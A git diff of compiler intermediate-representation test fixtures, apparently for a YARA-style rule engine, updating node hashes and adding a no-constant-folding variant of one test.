--- a/lib/src/compiler/ir/tests/testdata/15.ir +++ b/lib/src/compiler/ir/tests/testdata/15.ir @@ -1,109 +1,109 @@ RULE test - 171: AND -- hash: 0x550720c3956843bf - 0: PATTERN_MATCH PatternIdx(0) -- hash: 0x5a276c8d75077d2b - 2: PATTERN_MATCH PatternIdx(0) AT -- hash: 0xfb7f3424e7aabb50 + 171: AND -- hash: 0x3ecfcb2948f8b085 + 0: PATTERN_MATCH PatternIdx(0) -- hash: 0x96cc220517f2081e + 2: PATTERN_MATCH PatternIdx(0) AT -- hash: 0x5efc911f60870d35 1: CONST integer(0) - 5: PATTERN_MATCH PatternIdx(0) IN -- hash: 0x1a40dae1e637aa39 + 5: PATTERN_MATCH PatternIdx(0) IN -- hash: 0x74dcb64b7ce0ece9 3: CONST integer(0) 4: CONST integer(100) - 8: GT -- hash: 0xe14c02d2ca38c7fe - 6: PATTERN_COUNT PatternIdx(0) -- hash: 0x295099eb5fc21fe8 + 8: GT -- hash: 0x44c95fcd471519e3 + 6: PATTERN_COUNT PatternIdx(0) -- hash: 0x65f54f62feacaadb 7: CONST integer(0) - 13: GT -- hash: 0x92f8c6f7e54b02b8 - 11: PATTERN_COUNT PatternIdx(0) IN -- hash: 0x4343c02e3b7c252b + 13: GT -- hash: 0x61753658db503b47 + 11: PATTERN_COUNT PatternIdx(0) IN -- hash: 0x9ddf9b97d22567db 9: CONST integer(0) 10: CONST integer(100) 12: CONST integer(0) - 16: GT -- hash: 0x2c7be90e3169df71 - 14: PATTERN_OFFSET PatternIdx(0) -- hash: 0xf879c749467cc2a4 + 16: GT -- hash: 0x8ff94608ae463155 + 14: PATTERN_OFFSET PatternIdx(0) -- hash: 0x351e7cc0e5674d98 15: CONST integer(0) - 20: GT -- hash: 0x8bb5a93875bc3546 - 18: PATTERN_OFFSET PatternIdx(0) INDEX -- hash: 0x3a988b42c9d1c021 + 20: GT -- hash: 0xe65184a20c6577f6 + 18: PATTERN_OFFSET PatternIdx(0) INDEX -- hash: 0x9e15e83d46ae1205 17: CONST integer(1) 19: CONST integer(0) - 23: GT -- hash: 0x77abcf49989af6e3 - 21: PATTERN_LENGTH PatternIdx(0) -- hash: 0xc7a2f4a72d376561 + 23: GT -- hash: 0xdb292c44157748c7 + 21: PATTERN_LENGTH PatternIdx(0) -- hash: 0x447aa1ecc21f055 22: CONST integer(0) - 27: GT -- hash: 0xf87b38b95dae2020 - 25: PATTERN_LENGTH PatternIdx(0) INDEX -- hash: 0x85c8717e3102d793 + 27: GT -- hash: 0x53171422f45762d1 + 25: PATTERN_LENGTH PatternIdx(0) INDEX -- hash: 0xe945ce78addf2977 24: CONST integer(1) 26: CONST integer(0) - 35: FOR_OF -- hash: 0x987e0cb4f38e5d95 + 35: FOR_OF -- hash: 0x98951d3aa7b825e9 n: Var { frame_id: 1, ty: integer, index: 0 } i: Var { frame_id: 1, ty: integer, index: 1 } max_count: Var { frame_id: 1, ty: integer, index: 2 } count: Var { frame_id: 1, ty: integer, index: 3 } item: Var { frame_id: 1, ty: integer, index: 4 } - 34: AND -- hash: 0x3c966b1c6d560e68 - 28: PATTERN_MATCH Var { var: Var { frame_id: 1, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0x7568d28f12aefce0 - 30: PATTERN_MATCH Var { var: Var { frame_id: 1, ty: integer, index: 4 }, type_value: integer(unknown) } AT -- hash: 0x1951a046c05c8a50 + 34: AND -- hash: 0xc62fcdff01e21581 + 28: PATTERN_MATCH Var { var: Var { frame_id: 1, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0x1ca3d3c031cbc1f7 + 30: PATTERN_MATCH Var { var: Var { frame_id: 1, ty: integer, index: 4 }, type_value: integer(unknown) } AT -- hash: 0x9f2225a2be019fb7 29: CONST integer(0) - 33: PATTERN_MATCH Var { var: Var { frame_id: 1, ty: integer, index: 4 }, type_value: integer(unknown) } IN -- hash: 0x31b056800031c05a + 33: PATTERN_MATCH Var { var: Var { frame_id: 1, ty: integer, index: 4 }, type_value: integer(unknown) } IN -- hash: 0xc0b4487318651284 31: CONST integer(0) 32: CONST integer(100) - 45: FOR_OF -- hash: 0x2a6ca1a1aeced4d6 + 45: FOR_OF -- hash: 0x2dcf42214f0adb18 n: Var { frame_id: 2, ty: integer, index: 0 } i: Var { frame_id: 2, ty: integer, index: 1 } max_count: Var { frame_id: 2, ty: integer, index: 2 } count: Var { frame_id: 2, ty: integer, index: 3 } item: Var { frame_id: 2, ty: integer, index: 4 } - 44: AND -- hash: 0xce850009289685a8 - 38: GT -- hash: 0xadc66c0f48e750e7 - 36: PATTERN_COUNT Var { var: Var { frame_id: 2, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0x12da6e911e4b1855 + 44: AND -- hash: 0x5b69f2e5a934cab0 + 38: GT -- hash: 0x3396f16b468c664f + 36: PATTERN_COUNT Var { var: Var { frame_id: 2, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0xba156fc23d67dd6b 37: CONST integer(0) - 43: GT -- hash: 0x84e68ea465523c78 - 41: PATTERN_COUNT Var { var: Var { frame_id: 2, ty: integer, index: 4 }, type_value: integer(unknown) } IN -- hash: 0xc336d1bfa8f9804 + 43: GT -- hash: 0x73f33c36d9503863 + 41: PATTERN_COUNT Var { var: Var { frame_id: 2, ty: integer, index: 4 }, type_value: integer(unknown) } IN -- hash: 0x9b375f0f12c2ea2e 39: CONST integer(0) 40: CONST integer(100) 42: CONST integer(0) - 54: FOR_OF -- hash: 0xb649de6a3c0b0603 + 54: FOR_OF -- hash: 0x46aff0774053e325 n: Var { frame_id: 3, ty: integer, index: 0 } i: Var { frame_id: 3, ty: integer, index: 1 } max_count: Var { frame_id: 3, ty: integer, index: 2 } count: Var { frame_id: 3, ty: integer, index: 3 } item: Var { frame_id: 3, ty: integer, index: 4 } - 53: AND -- hash: 0xada51cbb798a9af6 - 48: GT -- hash: 0xeeaeb61296e7af4e - 46: PATTERN_OFFSET Var { var: Var { frame_id: 3, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0xb04c0a9329e733c9 + 53: AND -- hash: 0x837396035edc9cfa + 48: GT -- hash: 0x747f3b6e908cc4b6 + 46: PATTERN_OFFSET Var { var: Var { frame_id: 3, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0x57870bc44903f8e0 47: CONST integer(0) - 52: GT -- hash: 0x77ae50bc98adf661 - 50: PATTERN_OFFSET Var { var: Var { frame_id: 3, ty: integer, index: 4 }, type_value: integer(unknown) } INDEX -- hash: 0x43dbbef46c221d0a + 52: GT -- hash: 0x6b242afb0e1488c + 50: PATTERN_OFFSET Var { var: Var { frame_id: 3, ty: integer, index: 4 }, type_value: integer(unknown) } INDEX -- hash: 0xc9ac445069c73271 49: CONST integer(1) 51: CONST integer(0) - 63: FOR_OF -- hash: 0xe68ac61aa5953ab8 + 63: FOR_OF -- hash: 0x76f0d827a9de17da n: Var { frame_id: 4, ty: integer, index: 0 } i: Var { frame_id: 4, ty: integer, index: 1 } max_count: Var { frame_id: 4, ty: integer, index: 2 } count: Var { frame_id: 4, ty: integer, index: 3 } item: Var { frame_id: 4, ty: integer, index: 4 } - 62: AND -- hash: 0xdde6046be314cfab - 57: GT -- hash: 0x2f970015e0e80db6 - 55: PATTERN_LENGTH Var { var: Var { frame_id: 4, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0x4dbda69535834f3e + 62: AND -- hash: 0xb3b47db3c466d1af + 57: GT -- hash: 0xb5678571de8d231d + 55: PATTERN_LENGTH Var { var: Var { frame_id: 4, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0xf4f8a7c654a01454 56: CONST integer(0) - 61: GT -- hash: 0x95f4118d25b93df3 - 59: PATTERN_LENGTH Var { var: Var { frame_id: 4, ty: integer, index: 4 }, type_value: integer(unknown) } INDEX -- hash: 0x84c408f7ba227b71 + 61: GT -- hash: 0x24f803803dec901e + 59: PATTERN_LENGTH Var { var: Var { frame_id: 4, ty: integer, index: 4 }, type_value: integer(unknown) } INDEX -- hash: 0xa948e53b7c790d9 58: CONST integer(1) 60: CONST integer(0) - 65: FOR_OF -- hash: 0xe716d23849fe7860 + 65: FOR_OF -- hash: 0xdd6494b88aa85ec3 n: Var { frame_id: 5, ty: integer, index: 0 } i: Var { frame_id: 5, ty: integer, index: 1 } max_count: Var { frame_id: 5, ty: integer, index: 2 } count: Var { frame_id: 5, ty: integer, index: 3 } item: Var { frame_id: 5, ty: integer, index: 4 } - 64: PATTERN_MATCH Var { var: Var { frame_id: 5, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0x43f441662202a59c - 68: OF -- hash: 0xd907e19beae11f88 + 64: PATTERN_MATCH Var { var: Var { frame_id: 5, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0xeb2f4297411f6ab2 + 68: OF -- hash: 0x8c1e1f9f8aa8caf2 67: CONST boolean(false) 66: CONST boolean(true) - 69: OF -- hash: 0xc1af08cf16d07e7 - 72: FOR_OF -- hash: 0xa985997e5b03a6d7 + 69: OF -- hash: 0x6d73baab90b32aa6 + 72: FOR_OF -- hash: 0xdc10cb17d7196a9a n: Var { frame_id: 8, ty: integer, index: 0 } i: Var { frame_id: 8, ty: integer, index: 1 } max_count: Var { frame_id: 8, ty: integer, index: 2 } count: Var { frame_id: 8, ty: integer, index: 3 } item: Var { frame_id: 8, ty: integer, index: 4 } 70: CONST integer(1) - 71: PATTERN_MATCH Var { var: Var { frame_id: 8, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0x1edcd4876d816429 - 80: FOR_IN -- hash: 0x808e64d8eb48ab96 + 71: PATTERN_MATCH Var { var: Var { frame_id: 8, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0xc617d5b88c9e293f + 80: FOR_IN -- hash: 0x74b90b103b47568d n: Var { frame_id: 9, ty: integer, index: 0 } i: Var { frame_id: 9, ty: integer, index: 1 } max_count: Var { frame_id: 9, ty: integer, index: 2 } @@ -111,80 +111,76 @@ RULE test item: Var { frame_id: 9, ty: unknown, index: 4 } 73: CONST integer(1) 74: CONST integer(5) - 79: EQ -- hash: 0xe92c004f9190e2ec - 77: ADD -- hash: 0xb9090c9f9899e70f + 79: EQ -- hash: 0x50b9cf8029632927 + 77: ADD -- hash: 0xddc2251161d5a6d 75: SYMBOL Var { var: Var { frame_id: 9, ty: integer, index: 5 }, type_value: integer(unknown) } 76: CONST integer(1) 78: CONST integer(2) - 84: NE -- hash: 0x92df6290b941eceb + 84: NE -- hash: 0x3a64fff6b0238432 82: CONST integer(-2) 83: CONST integer(0) - 89: EQ -- hash: 0x2772eae3cc6605b3 + 89: EQ -- hash: 0xcef88849c7479cf9 87: CONST integer(0) 88: CONST integer(0) - 94: EQ -- hash: 0xe620d6a4866ed47d + 94: EQ -- hash: 0x8da6740a7d506bc4 92: CONST integer(3) 93: CONST integer(3) - 99: EQ -- hash: 0xe620d6a4866ed47d + 99: EQ -- hash: 0x8da6740a7d506bc4 97: CONST integer(3) 98: CONST integer(3) - 102: LT -- hash: 0xc2cd260920d8212b + 102: LT -- hash: 0x6a52c36f1bb9b872 100: CONST integer(-1) 101: CONST integer(0) - 107: EQ -- hash: 0x513c32b99dc13a3a + 107: EQ -- hash: 0xf8c1d01f94a2d180 105: CONST integer(2) 106: CONST integer(2) - 112: EQ -- hash: 0xa4cec2653c77a348 + 112: EQ -- hash: 0x4c545fcb37593a8f 110: CONST integer(6) 111: CONST integer(6) - 117: EQ -- hash: 0x37b6700f88d99369 - 115: DIV -- hash: 0xe3d346244ff8cc57 - 113: CONST integer(6) - 114: CONST integer(2) + 117: EQ -- hash: 0x8da6740a7d506bc4 + 115: CONST integer(3) 116: CONST integer(3) - 122: EQ -- hash: 0x1a81b6c621408d88 - 120: MOD -- hash: 0x3b6ad7150dbd77e8 - 118: CONST integer(5) - 119: CONST integer(2) + 122: EQ -- hash: 0x63dd2c34aff5373d + 120: CONST integer(1) 121: CONST integer(1) - 127: EQ -- hash: 0x7b057a8f6f1c6ec1 + 127: EQ -- hash: 0x228b17f565fe0608 125: CONST integer(4) 126: CONST integer(4) - 132: EQ -- hash: 0x7b057a8f6f1c6ec1 + 132: EQ -- hash: 0x228b17f565fe0608 130: CONST integer(4) 131: CONST integer(4) - 135: CONTAINS -- hash: 0x660fc7ce052cb681 + 135: CONTAINS -- hash: 0xe9d671366ebd2d23 133: CONST string("foo") 134: CONST string("f") - 138: ICONTAINS -- hash: 0x377f84bcc413903b + 138: ICONTAINS -- hash: 0xbb462e252da406dd 136: CONST string("foo") 137: CONST string("F") - 141: STARTS_WITH -- hash: 0xd2d5574eed1ea15b + 141: STARTS_WITH -- hash: 0x569c00b756af17fe 139: CONST string("foo") 140: CONST string("f") - 144: ISTARTS_WITH -- hash: 0xa445143dac057b15 + 144: ISTARTS_WITH -- hash: 0x280bbda61595f1b8 142: CONST string("foo") 143: CONST string("F") - 147: ENDS_WITH -- hash: 0xaf9269de21654fff + 147: ENDS_WITH -- hash: 0x335913468af5c6a2 145: CONST string("foo") 146: CONST string("o") - 150: IENDS_WITH -- hash: 0xf81ff13400fb2d99 + 150: IENDS_WITH -- hash: 0x7be69a9c6a8ba43c 148: CONST string("foo") 149: CONST string("O") - 153: IEQUALS -- hash: 0x59f750b89300b823 + 153: IEQUALS -- hash: 0xddbdfa20f8912ec5 151: CONST string("foo") 152: CONST string("FOO") - 157: CONTAINS -- hash: 0x69900714c5de042c + 157: CONTAINS -- hash: 0xed56b07d2f6e7ace 154: CONST string("foo") 156: CONST string("foo") - 161: DEFINED -- hash: 0xc649804070cd56ad - 160: FIELD_ACCESS -- hash: 0x89fe7b03f298d17c + 161: DEFINED -- hash: 0x39a53e5e7355f955 + 160: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 158: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 159: SYMBOL Field { index: 36, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: Some(DeprecationNotice { text: "this field is deprecated", help: Some("use `pe.sections.len()` instead"), replacement: Some("sections.len()") }) } - 170: EQ -- hash: 0xc86bbac0d41a5b9c - 168: FIELD_ACCESS -- hash: 0x6af92ddf1af8a3f2 - 166: LOOKUP -- hash: 0xb7e6fdca077aa568 - 164: FIELD_ACCESS -- hash: 0xb93ff31706b0e381 + 170: EQ -- hash: 0xbf648f4fbd345cc9 + 168: FIELD_ACCESS -- hash: 0xc29e4c53f72b679d + 166: LOOKUP -- hash: 0x22797314e0747ac6 + 164: FIELD_ACCESS -- hash: 0xdd88efe5e7ac64dc 162: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 163: SYMBOL Field { index: 49, is_root: false, type_value: array, acl: None, deprecation_notice: None } 165: CONST integer(0) diff --git a/lib/src/compiler/ir/tests/testdata/15.no-folding.ir b/lib/src/compiler/ir/tests/testdata/15.no-folding.ir new file mode 100644 index 000000000..fcd77c30a --- /dev/null +++ b/lib/src/compiler/ir/tests/testdata/15.no-folding.ir @@ -0,0 +1,208 @@ +RULE test + 171: AND -- hash: 0xfb96eea3049babcc + 0: PATTERN_MATCH PatternIdx(0) -- hash: 0x96cc220517f2081e + 2: PATTERN_MATCH PatternIdx(0) AT -- hash: 0x5efc911f60870d35 + 1: CONST integer(0) + 5: PATTERN_MATCH PatternIdx(0) IN -- hash: 0x74dcb64b7ce0ece9 + 3: CONST integer(0) + 4: CONST integer(100) + 8: GT -- hash: 0x44c95fcd471519e3 + 6: PATTERN_COUNT PatternIdx(0) -- hash: 0x65f54f62feacaadb + 7: CONST integer(0) + 13: GT -- hash: 0x61753658db503b47 + 11: PATTERN_COUNT PatternIdx(0) IN -- hash: 0x9ddf9b97d22567db + 9: CONST integer(0) + 10: CONST integer(100) + 12: CONST integer(0) + 16: GT -- hash: 0x8ff94608ae463155 + 14: PATTERN_OFFSET PatternIdx(0) -- hash: 0x351e7cc0e5674d98 + 15: CONST integer(0) + 20: GT -- hash: 0xe65184a20c6577f6 + 18: PATTERN_OFFSET PatternIdx(0) INDEX -- hash: 0x9e15e83d46ae1205 + 17: CONST integer(1) + 19: CONST integer(0) + 23: GT -- hash: 0xdb292c44157748c7 + 21: PATTERN_LENGTH PatternIdx(0) -- hash: 0x447aa1ecc21f055 + 22: CONST integer(0) + 27: GT -- hash: 0x53171422f45762d1 + 25: PATTERN_LENGTH PatternIdx(0) INDEX -- hash: 0xe945ce78addf2977 + 24: CONST integer(1) + 26: CONST integer(0) + 35: FOR_OF -- hash: 0x98951d3aa7b825e9 + n: Var { frame_id: 1, ty: integer, index: 0 } + i: Var { frame_id: 1, ty: integer, index: 1 } + max_count: Var { frame_id: 1, ty: integer, index: 2 } + count: Var { frame_id: 1, ty: integer, index: 3 } + item: Var { frame_id: 1, ty: integer, index: 4 } + 34: AND -- hash: 0xc62fcdff01e21581 + 28: PATTERN_MATCH Var { var: Var { frame_id: 1, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0x1ca3d3c031cbc1f7 + 30: PATTERN_MATCH Var { var: Var { frame_id: 1, ty: integer, index: 4 }, type_value: integer(unknown) } AT -- hash: 0x9f2225a2be019fb7 + 29: CONST integer(0) + 33: PATTERN_MATCH Var { var: Var { frame_id: 1, ty: integer, index: 4 }, type_value: integer(unknown) } IN -- hash: 0xc0b4487318651284 + 31: CONST integer(0) + 32: CONST integer(100) + 45: FOR_OF -- hash: 0x2dcf42214f0adb18 + n: Var { frame_id: 2, ty: integer, index: 0 } + i: Var { frame_id: 2, ty: integer, index: 1 } + max_count: Var { frame_id: 2, ty: integer, index: 2 } + count: Var { frame_id: 2, ty: integer, index: 3 } + item: Var { frame_id: 2, ty: integer, index: 4 } + 44: AND -- hash: 0x5b69f2e5a934cab0 + 38: GT -- hash: 0x3396f16b468c664f + 36: PATTERN_COUNT Var { var: Var { frame_id: 2, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0xba156fc23d67dd6b + 37: CONST integer(0) + 43: GT -- hash: 0x73f33c36d9503863 + 41: PATTERN_COUNT Var { var: Var { frame_id: 2, ty: integer, index: 4 }, type_value: integer(unknown) } IN -- hash: 0x9b375f0f12c2ea2e + 39: CONST integer(0) + 40: CONST integer(100) + 42: CONST integer(0) + 54: FOR_OF -- hash: 0x46aff0774053e325 + n: Var { frame_id: 3, ty: integer, index: 0 } + i: Var { frame_id: 3, ty: integer, index: 1 } + max_count: Var { frame_id: 3, ty: integer, index: 2 } + count: Var { frame_id: 3, ty: integer, index: 3 } + item: Var { frame_id: 3, ty: integer, index: 4 } + 53: AND -- hash: 0x837396035edc9cfa + 48: GT -- hash: 0x747f3b6e908cc4b6 + 46: PATTERN_OFFSET Var { var: Var { frame_id: 3, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0x57870bc44903f8e0 + 47: CONST integer(0) + 52: GT -- hash: 0x6b242afb0e1488c + 50: PATTERN_OFFSET Var { var: Var { frame_id: 3, ty: integer, index: 4 }, type_value: integer(unknown) } INDEX -- hash: 0xc9ac445069c73271 + 49: CONST integer(1) + 51: CONST integer(0) + 63: FOR_OF -- hash: 0x76f0d827a9de17da + n: Var { frame_id: 4, ty: integer, index: 0 } + i: Var { frame_id: 4, ty: integer, index: 1 } + max_count: Var { frame_id: 4, ty: integer, index: 2 } + count: Var { frame_id: 4, ty: integer, index: 3 } + item: Var { frame_id: 4, ty: integer, index: 4 } + 62: AND -- hash: 0xb3b47db3c466d1af + 57: GT -- hash: 0xb5678571de8d231d + 55: PATTERN_LENGTH Var { var: Var { frame_id: 4, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0xf4f8a7c654a01454 + 56: CONST integer(0) + 61: GT -- hash: 0x24f803803dec901e + 59: PATTERN_LENGTH Var { var: Var { frame_id: 4, ty: integer, index: 4 }, type_value: integer(unknown) } INDEX -- hash: 0xa948e53b7c790d9 + 58: CONST integer(1) + 60: CONST integer(0) + 65: FOR_OF -- hash: 0xdd6494b88aa85ec3 + n: Var { frame_id: 5, ty: integer, index: 0 } + i: Var { frame_id: 5, ty: integer, index: 1 } + max_count: Var { frame_id: 5, ty: integer, index: 2 } + count: Var { frame_id: 5, ty: integer, index: 3 } + item: Var { frame_id: 5, ty: integer, index: 4 } + 64: PATTERN_MATCH Var { var: Var { frame_id: 5, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0xeb2f4297411f6ab2 + 68: OF -- hash: 0x8c1e1f9f8aa8caf2 + 67: CONST boolean(false) + 66: CONST boolean(true) + 69: OF -- hash: 0x6d73baab90b32aa6 + 72: FOR_OF -- hash: 0xdc10cb17d7196a9a + n: Var { frame_id: 8, ty: integer, index: 0 } + i: Var { frame_id: 8, ty: integer, index: 1 } + max_count: Var { frame_id: 8, ty: integer, index: 2 } + count: Var { frame_id: 8, ty: integer, index: 3 } + item: Var { frame_id: 8, ty: integer, index: 4 } + 70: CONST integer(1) + 71: PATTERN_MATCH Var { var: Var { frame_id: 8, ty: integer, index: 4 }, type_value: integer(unknown) } -- hash: 0xc617d5b88c9e293f + 80: FOR_IN -- hash: 0x74b90b103b47568d + n: Var { frame_id: 9, ty: integer, index: 0 } + i: Var { frame_id: 9, ty: integer, index: 1 } + max_count: Var { frame_id: 9, ty: integer, index: 2 } + count: Var { frame_id: 9, ty: integer, index: 3 } + item: Var { frame_id: 9, ty: unknown, index: 4 } + 73: CONST integer(1) + 74: CONST integer(5) + 79: EQ -- hash: 0x50b9cf8029632927 + 77: ADD -- hash: 0xddc2251161d5a6d + 75: SYMBOL Var { var: Var { frame_id: 9, ty: integer, index: 5 }, type_value: integer(unknown) } + 76: CONST integer(1) + 78: CONST integer(2) + 84: NE -- hash: 0xd67dd744289d4ccb + 82: BITWISE_NOT -- hash: 0x3c0f28aae9f52de9 + 81: CONST integer(1) + 83: CONST integer(0) + 89: EQ -- hash: 0x9d6d8466b8ce9b46 + 87: BITWISE_AND -- hash: 0xb9c963d4de56dd9f + 85: CONST integer(1) + 86: CONST integer(2) + 88: CONST integer(0) + 94: EQ -- hash: 0xff9d3707f3f75ea4 + 92: BITWISE_OR -- hash: 0x851162729a5f2d58 + 90: CONST integer(1) + 91: CONST integer(2) + 93: CONST integer(3) + 99: EQ -- hash: 0x779e3d4146957483 + 97: BITWISE_XOR -- hash: 0xc8d40ca72d0c9d40 + 95: CONST integer(1) + 96: CONST integer(2) + 98: CONST integer(3) + 102: LT -- hash: 0x6a52c36f1bb9b872 + 100: CONST integer(-1) + 101: CONST integer(0) + 107: EQ -- hash: 0x92113cac62e05dbe + 105: SUB -- hash: 0xc06200845c5b9561 + 103: CONST integer(5) + 104: CONST integer(3) + 106: CONST integer(2) + 112: EQ -- hash: 0xe1b06ee448897b92 + 110: MUL -- hash: 0x3fa35eed744eb842 + 108: CONST integer(2) + 109: CONST integer(3) + 111: CONST integer(6) + 117: EQ -- hash: 0x826464b6dda60af7 + 115: DIV -- hash: 0x8b58e38a46da639e + 113: CONST integer(6) + 114: CONST integer(2) + 116: CONST integer(3) + 122: EQ -- hash: 0x652fab6d760d0516 + 120: MOD -- hash: 0xe2f0747b049f0f2e + 118: CONST integer(5) + 119: CONST integer(2) + 121: CONST integer(1) + 127: EQ -- hash: 0xb854b53c5e8008d3 + 125: SHL -- hash: 0xfd8c0e0971044d87 + 123: CONST integer(1) + 124: CONST integer(2) + 126: CONST integer(4) + 132: EQ -- hash: 0x1e7d49a1eaf369b4 + 130: SHR -- hash: 0xdc2de71be4a45ec + 128: CONST integer(8) + 129: CONST integer(1) + 131: CONST integer(4) + 135: CONTAINS -- hash: 0xe9d671366ebd2d23 + 133: CONST string("foo") + 134: CONST string("f") + 138: ICONTAINS -- hash: 0xbb462e252da406dd + 136: CONST string("foo") + 137: CONST string("F") + 141: STARTS_WITH -- hash: 0x569c00b756af17fe + 139: CONST string("foo") + 140: CONST string("f") + 144: ISTARTS_WITH -- hash: 0x280bbda61595f1b8 + 142: CONST string("foo") + 143: CONST string("F") + 147: ENDS_WITH -- hash: 0x335913468af5c6a2 + 145: CONST string("foo") + 146: CONST string("o") + 150: IENDS_WITH -- hash: 0x7be69a9c6a8ba43c + 148: CONST string("foo") + 149: CONST string("O") + 153: IEQUALS -- hash: 0xddbdfa20f8912ec5 + 151: CONST string("foo") + 152: CONST string("FOO") + 157: CONTAINS -- hash: 0xed56b07d2f6e7ace + 154: CONST string("foo") + 156: CONST string("foo") + 161: DEFINED -- hash: 0x39a53e5e7355f955 + 160: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 + 158: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 159: SYMBOL Field { index: 36, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: Some(DeprecationNotice { text: "this field is deprecated", help: Some("use `pe.sections.len()` instead"), replacement: Some("sections.len()") }) } + 170: EQ -- hash: 0xbf648f4fbd345cc9 + 168: FIELD_ACCESS -- hash: 0xc29e4c53f72b679d + 166: LOOKUP -- hash: 0x22797314e0747ac6 + 164: FIELD_ACCESS -- hash: 0xdd88efe5e7ac64dc + 162: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 163: SYMBOL Field { index: 49, is_root: false, type_value: array, acl: None, deprecation_notice: None } + 165: CONST integer(0) + 167: SYMBOL Field { index: 0, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } + 169: CONST string(".text") + diff --git a/lib/src/compiler/ir/tests/testdata/16.cse.ir b/lib/src/compiler/ir/tests/testdata/16.cse.ir index 636c23d44..70c25ea2b 100644 --- a/lib/src/compiler/ir/tests/testdata/16.cse.ir +++ b/lib/src/compiler/ir/tests/testdata/16.cse.ir @@ -1,5 +1,5 @@ RULE test_1 - 10: FOR_IN -- hash: 0xd210e99877f4fa84 + 10: FOR_IN -- hash: 0x9f9435af6156a552 n: Var { frame_id: 1, ty: integer, index: 0 } i: Var { frame_id: 1, ty: integer, index: 1 } max_count: Var { frame_id: 1, ty: integer, index: 2 } @@ -7,7 +7,7 @@ RULE test_1 item: Var { frame_id: 1, ty: unknown, index: 4 } 0: CONST integer(1) 1: CONST integer(2) - 9: FOR_IN -- hash: 0x39ccd6c06865e36d + 9: FOR_IN -- hash: 0x86b5becf1eaff038 n: Var { frame_id: 2, ty: integer, index: 7 } i: Var { frame_id: 2, ty: integer, index: 8 } max_count: Var { frame_id: 2, ty: integer, index: 9 } @@ -15,20 +15,20 @@ RULE test_1 item: Var { frame_id: 2, ty: unknown, index: 11 } 2: CONST integer(1) 3: CONST integer(2) - 8: EQ -- hash: 0x209cbc2ded9b10e6 + 8: EQ -- hash: 0xf93e4c9908574543 4: SYMBOL Var { var: Var { frame_id: 2, ty: integer, index: 12 }, type_value: integer(unknown) } - 7: ADD -- hash: 0x8c4973b1fbd58946 + 7: ADD -- hash: 0xe11c89637558fca3 5: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 6: CONST integer(1) RULE test_2 - 8: FOR_OF -- hash: 0xe4a08e7456292b47 + 8: FOR_OF -- hash: 0x6ea44fec73dfdec0 n: Var { frame_id: 1, ty: integer, index: 0 } i: Var { frame_id: 1, ty: integer, index: 1 } max_count: Var { frame_id: 1, ty: integer, index: 2 } count: Var { frame_id: 1, ty: integer, index: 3 } item: Var { frame_id: 1, ty: integer, index: 4 } - 7: FOR_IN -- hash: 0x6ed2fae041710947 + 7: FOR_IN -- hash: 0xd12941bcbf05149e n: Var { frame_id: 2, ty: integer, index: 5 } i: Var { frame_id: 2, ty: integer, index: 6 } max_count: Var { frame_id: 2, ty: integer, index: 7 } @@ -36,14 +36,14 @@ RULE test_2 item: Var { frame_id: 2, ty: unknown, index: 9 } 0: CONST integer(1) 1: CONST integer(2) - 6: EQ -- hash: 0x773b9bba17dfad2a + 6: EQ -- hash: 0xca4dde371a48474a 2: SYMBOL Var { var: Var { frame_id: 2, ty: integer, index: 10 }, type_value: integer(unknown) } - 5: FN_CALL math.abs@x:i@i -- hash: 0x8fe1d7c818e3e998 + 5: FN_CALL math.abs@x:i64@i64u -- hash: 0xbfc2bcdafd95bcef 4: CONST integer(1) RULE test_3 - 9: AND -- hash: 0x76ad43078646820d - 8: FOR_IN -- hash: 0x33ea248cbadf6b9 + 9: AND -- hash: 0xd90389e403da8d64 + 8: FOR_IN -- hash: 0x6594e92545420210 n: Var { frame_id: 1, ty: integer, index: 0 } i: Var { frame_id: 1, ty: integer, index: 1 } max_count: Var { frame_id: 1, ty: integer, index: 2 } @@ -51,14 +51,14 @@ RULE test_3 item: Var { frame_id: 1, ty: unknown, index: 4 } 1: CONST integer(1) 2: CONST integer(2) - 7: EQ -- hash: 0xba743229e1c9a9c + 7: EQ -- hash: 0x5eb9859fa08534bc 3: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } - 6: FN_CALL math.abs@x:i@i -- hash: 0x8fe1d7c818e3e998 + 6: FN_CALL math.abs@x:i64@i64u -- hash: 0xbfc2bcdafd95bcef 5: CONST integer(1) RULE test_4 - 9: OR -- hash: 0x47d223471b2405d4 - 8: FOR_IN -- hash: 0x33ea248cbadf6b9 + 9: OR -- hash: 0xaa286a2394b8112b + 8: FOR_IN -- hash: 0x6594e92545420210 n: Var { frame_id: 1, ty: integer, index: 0 } i: Var { frame_id: 1, ty: integer, index: 1 } max_count: Var { frame_id: 1, ty: integer, index: 2 } @@ -66,14 +66,14 @@ RULE test_4 item: Var { frame_id: 1, ty: unknown, index: 4 } 1: CONST integer(1) 2: CONST integer(2) - 7: EQ -- hash: 0xba743229e1c9a9c + 7: EQ -- hash: 0x5eb9859fa08534bc 3: SYMBOL Var { var: Var { frame_id: 